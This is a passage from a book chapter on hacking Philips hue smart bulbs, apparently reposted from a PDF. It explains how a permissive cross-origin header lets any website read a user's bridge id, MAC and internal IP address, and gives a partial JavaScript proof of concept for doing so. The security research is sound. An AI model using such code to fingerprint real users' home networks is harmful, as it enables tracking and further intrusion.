Abusing the Internet of Things

(Rick Simeone) #1
Date: Sun, 05 May 2013 23:04:19 GMT
Server: Google Frontend
Content-Length: 41
{"code":200,"message":"ok","result":"ok"}

The ok codes for message and result signify that the instructions executed successfully
and the bulbs were turned off.


INFORMATION LEAKAGE
The web server associated with the hue website and the bridge (the bridge has a web server
listening on TCP port 80) includes the following header when responding to requests:


Access-Control-Allow-Origin: *

According to cross-origin policies within web browsers, this header allows JavaScript code
on any website on the Internet to access the results from the web servers running on the hue
website and the bridge. This leads to a situation in which an external entity can capture the
fact that the user is on a network segment that has the hue system installed, as well as captur-
ing the bridge’s id, MAC address, and internal IP address.
To illustrate this, consider the following HTML code:


<HTML>
<SCRIPT>
// Create the XHR object.
function find_hue()
{
var url = 'https://www.meethue.com/api/nupnp';
var xhr = new XMLHttpRequest();
xhr.open('GET', url, true);
xhr.onload = function()
{
var text = xhr.responseText;
var obj=JSON.parse(text.substr(1,
text.length-2));
document.write('<H3>Your Hue bridge id
is '+ obj.id + '</H3><BR>');
document.write('<H3>Your Hue bridge
internal IP address is '+
obj.internalipaddress + '</H3><BR>');
document.write('<H3>Your Hue bridge MAC

CHAPTER 1: LIGHTS OUT—HACKING WIRELESS LIGHTBULBS TO CAUSE SUSTAINED

(^12) BLACKOUTS

Free download pdf